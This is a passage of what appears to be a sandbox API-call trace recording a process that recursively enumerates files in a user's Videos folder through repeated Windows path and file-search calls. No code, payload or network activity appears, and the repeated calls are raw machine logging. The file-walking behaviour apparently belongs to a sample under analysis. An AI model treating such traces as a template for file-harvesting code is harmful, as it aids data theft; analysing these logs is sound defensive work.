ftLastAccessTime.dwHighDateTime=0x1d5d9a7, ftLastWriteTime.dwLowDateTime=0xd90aff00, ftLastWriteTime.dwHighDateTime=0x1d5d9a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2W8-Bza", cAlternateFileName="")) returned 1 [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.491] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.492] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.492] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza", lpFilePart=0x0) returned 0x2c [0080.493] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\", lpFilePart=0x0) returned 0x2d [0080.493] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b58b0a0, ftCreationTime.dwHighDateTime=0x1d5d829, ftLastAccessTime.dwLowDateTime=0xd90aff00, ftLastAccessTime.dwHighDateTime=0x1d5d9a7, ftLastWriteTime.dwLowDateTime=0xd90aff00, ftLastWriteTime.dwHighDateTime=0x1d5d9a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.493] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4b58b0a0, ftCreationTime.dwHighDateTime=0x1d5d829, ftLastAccessTime.dwLowDateTime=0xd90aff00, ftLastAccessTime.dwHighDateTime=0x1d5d9a7, ftLastWriteTime.dwLowDateTime=0xd90aff00, ftLastWriteTime.dwHighDateTime=0x1d5d9a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.493] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f4db30, ftCreationTime.dwHighDateTime=0x1d5e2d4, ftLastAccessTime.dwLowDateTime=0x42cbcb50, ftLastAccessTime.dwHighDateTime=0x1d5da3d, ftLastWriteTime.dwLowDateTime=0x42cbcb50, ftLastWriteTime.dwHighDateTime=0x1d5da3d, nFileSizeHigh=0x0, nFileSizeLow=0xd1de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ccKH0ADeFYq36.mp4", cAlternateFileName="CCKH0A~1.MP4")) returned 1 [0080.493] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e296a0, ftCreationTime.dwHighDateTime=0x1d5dc8f, ftLastAccessTime.dwLowDateTime=0x6a262250, ftLastAccessTime.dwHighDateTime=0x1d5e1b2, ftLastWriteTime.dwLowDateTime=0x6a262250, ftLastWriteTime.dwHighDateTime=0x1d5e1b2, nFileSizeHigh=0x0, nFileSizeLow=0x18242, dwReserved0=0x0, dwReserved1=0x0, cFileName="sSItY.mp4", cAlternateFileName="")) returned 1 [0080.494] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89e296a0, ftCreationTime.dwHighDateTime=0x1d5dc8f, ftLastAccessTime.dwLowDateTime=0x6a262250, ftLastAccessTime.dwHighDateTime=0x1d5e1b2, ftLastWriteTime.dwLowDateTime=0x6a262250, ftLastWriteTime.dwHighDateTime=0x1d5e1b2, nFileSizeHigh=0x0, nFileSizeLow=0x18242, dwReserved0=0x0, dwReserved1=0x0, cFileName="sSItY.mp4", cAlternateFileName="")) returned 0 [0080.494] FindClose (in: hFindFile=0x1a62a7d0 | out: hFindFile=0x1a62a7d0) returned 1 [0080.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8e0) returned 1 [0080.494] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e8d0) returned 1 [0080.494] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa555a710, ftCreationTime.dwHighDateTime=0x1d5e0a4, ftLastAccessTime.dwLowDateTime=0xe50a2b00, ftLastAccessTime.dwHighDateTime=0x1d5d880, ftLastWriteTime.dwLowDateTime=0xe50a2b00, ftLastWriteTime.dwHighDateTime=0x1d5d880, nFileSizeHigh=0x0, nFileSizeLow=0x10f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="9GsxesbI4TXBwR__oCI.mp4", cAlternateFileName="9GSXES~1.MP4")) returned 1 [0080.494] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.494] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c6d9200, ftCreationTime.dwHighDateTime=0x1d5e62b, ftLastAccessTime.dwLowDateTime=0x174cf6e0, ftLastAccessTime.dwHighDateTime=0x1d5daea, ftLastWriteTime.dwLowDateTime=0x174cf6e0, ftLastWriteTime.dwHighDateTime=0x1d5daea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dl8VaK1 rn9WLatTlI", cAlternateFileName="DL8VAK~1")) returned 1 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.495] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI", lpFilePart=0x0) returned 0x37 [0080.496] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\", lpFilePart=0x0) returned 0x38 [0080.496] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c6d9200, ftCreationTime.dwHighDateTime=0x1d5e62b, ftLastAccessTime.dwLowDateTime=0x174cf6e0, ftLastAccessTime.dwHighDateTime=0x1d5daea, ftLastWriteTime.dwLowDateTime=0x174cf6e0, ftLastWriteTime.dwHighDateTime=0x1d5daea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a62a7d0 [0080.497] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c6d9200, ftCreationTime.dwHighDateTime=0x1d5e62b, ftLastAccessTime.dwLowDateTime=0x174cf6e0, ftLastAccessTime.dwHighDateTime=0x1d5daea, ftLastWriteTime.dwLowDateTime=0x174cf6e0, ftLastWriteTime.dwHighDateTime=0x1d5daea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.497] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eecff90, ftCreationTime.dwHighDateTime=0x1d5e11e, ftLastAccessTime.dwLowDateTime=0x4f0bf260, ftLastAccessTime.dwHighDateTime=0x1d5e2a2, ftLastWriteTime.dwLowDateTime=0x4f0bf260, ftLastWriteTime.dwHighDateTime=0x1d5e2a2, nFileSizeHigh=0x0, nFileSizeLow=0x10b07, dwReserved0=0x0, dwReserved1=0x0, cFileName="38u-qB4.mkv", cAlternateFileName="")) returned 1 [0080.497] FindNextFileW (in: hFindFile=0x1a62a7d0, lpFindFileData=0x1ca2e680 | out: lpFindFileData=0x1ca2e680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6129f90, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x1aeba680, ftLastAccessTime.dwHighDateTime=0x1d5ded1, ftLastWriteTime.dwLowDateTime=0x1aeba680, ftLastWriteTime.dwHighDateTime=0x1d5ded1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LQz6AdzNi4BeZmO", cAlternateFileName="LQZ6AD~1")) returned 1 [0080.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.497] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", nBufferLength=0x105, lpBuffer=0x1ca2e370, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", lpFilePart=0x0) returned 0x47 [0080.498] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO", 